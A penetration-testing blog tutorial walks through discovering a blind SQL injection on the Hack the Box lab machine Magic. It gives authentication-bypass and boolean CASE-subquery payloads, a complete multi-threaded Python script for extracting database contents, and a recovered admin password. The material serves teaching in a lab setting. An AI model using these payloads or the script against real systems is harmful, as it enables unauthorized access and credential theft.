Auspicious Security LLC logo
Python Multi-threading Blind SQL Injection (SQLi) with Hack the Box Magic
July 3, 2023
Auspicious separator
Introduction

In Part 2 of 2 in our Python Multi-threading tutorial we will expand upon the foundational concepts from the previous post and apply them to a Blind SQL Injection (SQLi) vulnerability. While Blind SQLi does not require multi-threading, it dramatically speeds up the enumeration process. As a hands-on exercise, we'll utilize the first part of the retired machine Magic on Hack the Box. It goes without saying we’re not going to use SQLmap.

If you would like to skip ahead to the multi-threading discussion, head directly to the multi-threading section. Before getting there, we will go through the process of discovering and exploiting a blind SQL injection. I received positive feedback on my time-base, blind SQL Server injection walkthrough of the Offsec Proving Grounds Butch machine. Many learners reached out expressing their gratitude on how it helped them better understand SQL injections generally. Unfortunately, Offsec has rotated this box out of the Proving Grounds for the time being, so my hope is that through this post I can help break down SQL injections vulnerabilities just as clearly and concisely.

Blind SQL Injection Discovery

If you would like to follow along with this tutorial, we use the Hack the Box machine Magic as our target. Once that's running, we’ll start by launching Burp Suite Community from our Kali Linux machine. From there we’ll select the Proxy tab, ensure Intercept is off, and click Open browser.

Burp Suite proxy settings

Our target application is on port 80. Navigating to it in our browser we don’t find a lot of functionality except a login page. When we attempt to login to various common credentials, we aren’t successful, receiving a Javascript alert of Wrong Username or Password. Moving back to Burp Suite we’ll send the login.php POST request to the Burp Repeater for analysis (right-click the request and select Send to Repeater). There isn’t a lot to glean from the response other than noting the server would like us to know it is running some flavor of Ubuntu with Apache 2.4.29.

Burp Suite invalid password

As we play around with the body parameters, we notice something subtly different when adding an apostrophe (') to either the username or password. Namely, we no longer receive the Javascript alert of Wrong Username or Password.

Burp Suite apostrophe

This is an indication that something is going wrong with the application and the single quote points us in the direction of a SQL injection vulnerability. To exploit a blind SQL injection vulnerability, all we need is some indication from the underlying database server that our query either succeeds or not succeeds. This indication could even be time-based (see Butch write-up), but a text-based response can better demonstrate the speed of a multi-threaded approach.

We now need to try to figure out what the underlying SQL database is and enumerate a valid syntax. A good SQL injection cheat sheet will come in handy here. Our assumption at this point is our apostrophe has broken the SQL query and resulted in a lack of the appropriate response from the server, and our immediate goal will be to enumerate how to inject a valid SQL query. It can help to imagine what the underlying SQL query might look like:

select * from tblUsers where user = 'user' and password = 'password';

With our current injection this may look like the following. Note the two apostrophes at the end of the statement.

select * from tblUsers where user = 'user' and password = 'password'';

A logic next step would be to try various comments to see if we can obtain the correct syntax. This may even require terminating the SQL query with a semicolon.

select * from tblUsers where user = 'admin' and password = 'password'--';
select * from tblUsers where user = 'admin' and password = 'password'#';
select * from tblUsers where user = 'admin' and password = 'password';--';
select * from tblUsers where user = 'admin' and password = 'password';#';

Let’s try these back in our Burp repeater. We’ll start with the two hyphens (-) as that covers the most database engines.

Burp Suite hypens

No such luck. Let’s move on to the number sign (#).

Burp Suite number sign

With this syntax on the parameters, we find the alert box Wrong Username or Password is back in the response, so we can assume that our SQL syntax is now resulting in a valid SQL query.

Back to our imaginary SQL statement, we envision it looking something like this now.

select * from tblUsers where user = 'admin' and password = 'password'#';

At this point we’re fairly confident we have identified a blind SQL injection vulnerability and have the means to exploit it. Since the number sign (#) is used as a comment we are likely dealing with a MySQL database with this application.

However, we may not need to go so far as to enumerate the database. Perhaps we can simply bypass authentication. Let’s try a simple OR 1=1 to return some valid rows from the query. We would like our imagined SQL statement to look like this:

select * from tblUsers where user = 'admin' and password = 'password' OR 1=1#';

Running this to the server we get a slightly different response. Our status code changed from 200 to 302 and we have a new header redirecting us to upload.php. Huzzah!

Burp Suite OR statement

To bypass authentication at this point, we can simply enable Intercept mode in Burp Suite, navigate back to our browser, and attempt to login. We can then insert our auth bypass SQL injection to obtain access to upload.php. If you're goal is to solve this box, this is all you need to move on to the next step and upload an appropriate web shell to obtain RCE on the box.

However, we’re here to learn about blind SQL injections and how to implement them multi-threaded in Python. Therefore, let’s turn back to our SQL injection.

Our next goal is to identify a way to elicit a yes/no response from the server when running queries. Let’s see what happens when we change our OR 1=1 to OR 1=0

username=admin&password=password' OR 1=0#
Burp Suite negative OR statement

Nice, we’re back to receiving the Javascript alert box.

We’ll next need to create a subquery that will allow us to ask true/false questions to the database. The best way to go from our 1=1 and 1=0 logic is to further elaborate our query with a CASE statement inside of a subquery. There’s an old adage known amongst database administrators that there are an almost infinite (exaggerated) number of ways to write a SQL statement but only one correct way. I've lost count of the number of times developers get very creative in their SQL syntax to the detriment of performance.

We digress. Let’s go back to our imaginary SQL statement and ensure we write a SQL statement that would make any DBA cringe.

select * from tblUsers where user = 'admin' and password = 'password' OR (SELECT CASE WHEN (TRUE) THEN 1 ELSE 0 END)=1#;

Here we are implementing the exact same login in SQL but have added in a subquery which includes a CASE statement. This will help us to enumerate the database later, but we’ll try it as is to demonstrate the process. Back in the Burp Repeater we’ll add this to as our body parameters.

username=admin&password=password' OR (SELECT CASE WHEN (TRUE) THEN 1 ELSE 0 END)=1#

This returns a valid result.

Setting TRUE within our subquery

Let’s change our TRUE to FALSE and see the result.

Setting FALSE within our subquery

Just like that, we have the basis of our blind SQL injection query. When can then replace any value in for TRUE or FALSE that we want to evaluate on the database to determine the result. If we want to check for tables that start with the letter u we would imagine the query to look like this:

select * from tblUsers where user = 'admin' and password = 'password' OR (SELECT CASE WHEN (select 1 from information_schema.tables where table_name like 'u%' limit 1) THEN 1 ELSE 0 END)=1#';

We can enumerate the database schema of a MySQL database through the information_schema and in this case we query it to determine if there is a tables starting with the letter u.

Let’s try this in Burp.

username=admin&password=password' OR (SELECT CASE WHEN (select 1 from information_schema.tables where table_name like 'u%' limit 1) THEN '1' ELSE '0' END)=1#
Enumerating tables starting with u on Burp Repeater

We can similarly put something in that should prove a negative.

username=admin&password=password' OR (SELECT CASE WHEN (select 1 from information_schema.tables where table_name like 'uwouldntnameatablethis%' limit 1) THEN '1' ELSE '0' END)=1#
Proving a negative table name on Burp Repeater

We are poised to start enumerating interesting table names, columns, and contents with our LIKE statement above. This would entail trying every letter in the alphabet against our blind SQL injection until we get a positive match, then moving on to the next character. As you can imagine, this could take some time which is where our multi-threading with Python will come in handy.

Planning our Multi-threaded Approach

Before we begin, let’s think about the three important pieces we need to perform multi-threading:

Building a Multi-threaded Blind SQL Injection Enumeration Script in Python

We’ll start with a shell Python program, similar to Part 1 of this blog series. We’ll accept three parameters. The first will be the URL or IP of our target, and the second will be a SQL query. This will be a query that we want to enumerate such as select 1 from information_schema.tables where table_name like 'u%' limit 1. Usage of this parameter will become apparent as we test the script. The third parameter will specify case sensitivity. Default SQL configurations ignore case on table and column names but we may need to enumerate case sensitive data elements such as passwords.

#!/usr/bin/python3 import argparse import requests import urllib import concurrent.futures proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'} if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-t','--target', help='Target base URL ir ip address i.e 127.0.0.1', required=True) parser.add_argument('-s','--sqli', help='SQL Injection string. Use {guess} for text to enumerate', required=True) parser.add_argument('-c','--casei', help='Set to 0 for case sensitive. Set to 1 for case insensitive', required=True) args = parser.parse_args()

With the basics out of the way, let’s first create a function that will handle the logic we wish to be processed in parallel. We name this function sql_exec() to execute our SQL injection web request. From Burp suite, we know we need to perform a POST request against the /login.php URI but we’ll make this fairly generic for now and accept most details as parameters. We will perform a check against the response to see if the Location header is set to upload.php to determine if we have a positive match. Since a valid response results in a redirect, we will specifically specify allow_redirects=False as we are more interested in the header.

def sql_exec(targeturi, test, data, headers): # This function performs a web request to determine if a particular character is valid res = requests.post(targeturi, data=data, headers=headers, proxies=proxies, allow_redirects=False) if "Location" in res.headers: if (res.headers["Location"] == "upload.php"): # We found the next character. return test else: print("[-] Error: Unhandled Location header: " + res.headers["Location"]) quit() else: # This was not the correct character. return None

Next, we’ll create a subroutine called sql_enum() to enumerate SQL. We’ll first define some basic variables. We’ll define all the possible characters we may need to test for in the allchars variable, which will be either case sensitive or case insensitive, depending on the precision needed. We’ll setup our target URI and some variables to handle our web request that we have enumerated so far.

def sql_enum(target, sqli): # This function will enumerate a provided SQL statement, where {guess} is used for the unknown # element to enumerate. if (casei): allchars = "0123456789abcdefghijklmnopqrstuvwxyz!#$%&\\()*+,-./:;<=>?@[]^_`{|}~ " # case insensitive else: allchars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&\\()*+,-./:;<=>?@[]^_`{|}~ " # case sensitive targeturi = "http://%s/login.php" % target sqlinj = "password' OR (select CASE WHEN (%s) THEN 1 ELSE 0 END)=1#" % sqli params = "username=admin&password=" headers = {"Content-Type":"application/x-www-form-urlencoded"}

We’ll set a few more variables specific to our SQL injection logic.

enumerated = "" fin = False badchars = "%_" batchSize = len(allchars)

Now for some loops.

# Loop through each and enumerate each character of the database object while (fin != True): # Reset and build our batch of all potential characters batch = [] blnFound = False for char in allchars: if char in badchars: test = enumerated + "\\" + char data = params + urllib.parse.quote(sqlinj.format(guess=test)) batch.append([targeturi, test, data, headers]) else: test = enumerated + char data = params + urllib.parse.quote(sqlinj.format(guess=test)) batch.append([targeturi, test, data, headers])

The next block of code will implement the concurrent.futures scheduler. This will be very similar to our previous post, where we simply match parameters to our sql_exec() subroutine. Again, we will wait for all web requests to complete before continuing.

# Send the batch to our scheduler, guessing all characters simulatenously with concurrent.futures.ThreadPoolExecutor(max_workers=batchSize) as executor: # Spawn threads in the batch futures = {executor.submit(sql_exec, targeturi, test, data, headers) for targeturi, test, data, headers in batch} concurrent.futures.wait(futures)

Finally, we’ll loop through all of our futures (the results) and see if we have found a valid character. If not, we’ll assume we have reached the end of the enumerated object.

for future in futures: if (future.result() != None): # We found the next character blnFound = True enumerated = future.result() print(enumerated) if blnFound == False: # No characters match so we finished enumerating print("[+] Completed enumeration: %s" % enumerated) fin = True

In our __main__() function we’ll be sure to call the sql_enum() function. Putting it all together we have our script.

#!/usr/bin/python3 import argparse import requests import urllib import concurrent.futures proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'} def sql_enum(target, sqli, casei): # This function will enumerate a provided SQL statement, where {guess} is used for the unknown # element to enumerate. if (casei): allchars = "0123456789abcdefghijklmnopqrstuvwxyz!#$%&\\()*+,-./:;<=>?@[]^_`{|}~ " # case insensitive else: allchars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&\\()*+,-./:;<=>?@[]^_`{|}~ " # case sensitive targeturi = "http://%s/login.php" % target sqlinj = "password' OR (select CASE WHEN (%s) THEN 1 ELSE 0 END)=1#" % sqli params = "username=admin&password=" headers = {"Content-Type":"application/x-www-form-urlencoded"} enumerated = "" fin = False badchars = "%_" batchSize = len(allchars) # Loop through each and enumerate each character of the database object while (fin != True): # Reset and build our batch of all potential characters batch = [] blnFound = False for char in allchars: if char in badchars: test = enumerated + "\\" + char data = params + urllib.parse.quote(sqlinj.format(guess=test)) batch.append([targeturi, test, data, headers]) else: test = enumerated + char data = params + urllib.parse.quote(sqlinj.format(guess=test)) batch.append([targeturi, test, data, headers]) # Send the batch to our scheduler, guessing all characters simulatenously with concurrent.futures.ThreadPoolExecutor(max_workers=batchSize) as executor: # Spawn threads in the batch futures = {executor.submit(sql_exec, targeturi, test, data, headers) for targeturi, test, data, headers in batch} concurrent.futures.wait(futures) for future in futures: if (future.result() != None): # We found the next character blnFound = True enumerated = future.result() print(enumerated) if blnFound == False: # No characters match so we finished enumerating print("[+] Completed enumeration: %s" % enumerated) fin = True def sql_exec(targeturi, test, data, headers): # This function performs a web request to determine if a particular character is valid res = requests.post(targeturi, data=data, headers=headers, proxies=proxies, allow_redirects=False) if "Location" in res.headers: if (res.headers["Location"] == "upload.php"): # We found the next character. return test else: print("[-] Error: Unhandled Location header: " + res.headers["Location"]) quit() else: # This was not the correct character. return None if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-t','--target', help='Target base URL ir ip address i.e 127.0.0.1', required=True) parser.add_argument('-s','--sqli', help='SQL Injection string. Use {guess} for text to enumerate', required=True) parser.add_argument('-c','--casei', help='Set to 0 for case sensitive. Set to 1 for case insensitive', required=True) args = parser.parse_args() sql_enum(args.target, args.sqli, args.casei)
Blind SQLi Enumeration with Our Multi-threaded Python Script

With our script created, let’s demonstrate how we can obtain user credentials using the script. We have already identified there is a table that starts with the letter u so it stands to reason that there may be a table such as users in the database. As we recall, we had the following parameters set when we first tested this theory.

username=admin&password=password' OR (SELECT CASE WHEN (select 1 from information_schema.tables where table_name like 'u%' limit 1) THEN '1' ELSE '0' END)=1#

The query we were enumerating was this piece.

select 1 from information_schema.tables where table_name like 'u%' limit 1

We’ve built our script to use the string variable {guess} for the placeholder we want to enumerate. We’ll plug that in like so.

select 1 from information_schema.tables where table_name like 'u{guess}%' limit 1

Putting this together with our target IP and setting the script case insensitive (at this point we’re assuming the database collation is set to case insensitive until we have reason to believe otherwise).

python3 magic_sqli.py -t "10.129.79.23" -s "select 1 from information_schema.tables where table_name like 'u{guess}%' limit 1" -c 1
Enumerating u tables with our script

Nice! Tack on the u from above and we have the table user\_privileges. Note that the underscore was one of our bad characters so the table name is actually user_privileges. The fact that this was performed so quickly indicates our multi-threaded approach was worth the extra effort.

Since we sent our packets through our Burp proxy, we can double check all the requests it sent there and see it was indeed trying every character.

Script run example through Burp Suite

However, the table user_privileges seems suspiciously familiar. This is actually part of the information_schema schema, and is likely not something we want to enumerate. Let’s exclude the information_schema schema from any results in our query.

python3 magic_sqli.py -t "10.129.79.23" -s "select 1 from information_schema.tables where table_name like 'u{guess}%' and table_schema <> 'information_schema' limit 1" -c 1
No u tables enumerated command output

No results this time. Other than information_schema, there does not appear to be any tables starting with the letter u. Sometimes shortcuts pay off and sometimes they don’t. Let’s start enumerating tables in the database by remove the letter u from our query.

python3 magic_sqli.py -t "10.129.79.23" -s "select 1 from information_schema.tables where table_name like '{guess}%' and table_schema <> 'information_schema' limit 1" -c 1
Login table enumerated command output

Okay, we have the table login. That’s probably quite interesting to us. Let’s see if there are any other tables while we are at it.

python3 magic_sqli.py -t "10.129.79.23" -s "select 1 from information_schema.tables where table_name like '{guess}%' and table_schema <> 'information_schema' and table_name not in ('login') limit 1" -c 1
No more tables enumerated command output

No other tables. This database is pretty limited in functionality, which is rare. However, for larger databases we can continue adding to the not in ('login','other_table') syntax to further enumerate tables in the database or even further automate this within our Python script.

Now let’s take a look at enumerating the columns within the login table. We’ve pivot to the table information_schema.columns with our query.

python3 magic_sqli.py -t "10.129.79.23" -s "select 1 from information_schema.columns where column_name like '{guess}%' and table_name = 'login' limit 1" -c 1
Password column enumerated command output

We got the column name password which is definitely of interest to us. However, what was that weirdness at the beginning with the letters i and u? This is a side-effect of our multi-threading. Since we sent all characters simultaneously, we actually got some positive matches for other columns in our table and our script went forward with p. Continuing on with the other columns we simply exclude password with the WHERE clause in our SQL query.

python3 magic_sqli.py -t "10.129.79.23" -s "select 1 from information_schema.columns where column_name like '{guess}%' and table_name = 'login' and column_name not in ('password') limit 1" -c 1
Username column enumerated command output

We also have a column named username.

python3 magic_sqli.py -t "10.129.79.23" -s "select 1 from information_schema.columns where column_name like '{guess}%' and table_name = 'login' and column_name not in ('password', 'username') limit 1" -c 1
Id column enumerated command output

And a column named “id”. You know the drill by now.

python3 magic_sqli.py -t "10.129.79.23" -s "select 1 from information_schema.columns where column_name like '{guess}%' and table_name = 'login' and column_name not in ('password', 'username', 'id') limit 1" -c 1
No more enumerated columns command output

Those are all the columns in the login table. At this point we have manually enumerated all tables and columns within this database schema, and without the use of SQLmap!

Now to go for the gold. Let’s enumerate usernames.

python3 magic_sqli.py -t "10.129.79.23" -s "select 1 from login where username like '{guess}%'" -c 1
Admin user enumerated command output

User admin was expected based on our initial enumeration. Is there anything else?

python3 magic_sqli.py -t "10.129.79.23" -s "select 1 from login where username like '{guess}%' and username not in ('admin')" -c 1
No more users enumerated command output

Nothing else. Let’s move on to the password for admin. At this point we probably want to switch to our case sensitive approach since modern passwords are generally a mix of upper- and lower-case characters (one would hope).

python3 magic_sqli.py -t "10.129.79.23" -s "select 1 from login where username = 'admin' and password like '{guess}%'" -c 0
Admin password enumerated command output

With that, we have enumerated the username admin and the password th3s3usw4sk1ng. Note that we could have performed this same attack without the use of multi-threading. However, this would have required significantly more time as we’d be sending each guess to the server and waiting for the response before continuing with the next guess. On average, that would have taken at least 13 times as long (26 characters in the alphabet – double that for case sensitive queries), and actually longer since at the end we would have to run through all characters for our script to know that enumeration was finished. Multiply that by the 11 queries we ran above and that would have been time you’d have never gotten back!

Moreover, the simple concept of creating a batch of subroutine parameters and then running them through concurrent.futures provides a very simple means of speeding up all sorts of programming tasks. New Python skill unlocked, and hopefully this post has explained a simple methodology for enumerating SQL databases manually through the use of blind SQL injection vulnerabilities.

Auspicious separator

Information provided is for educational purposes only or for use in legal pentesting engagements and must not be used for illegal activities.

This website does not use cookies or other technologies to track your activities. Please see our Privacy Policy.

Copyright © 2021-2023 Auspicious Security LLC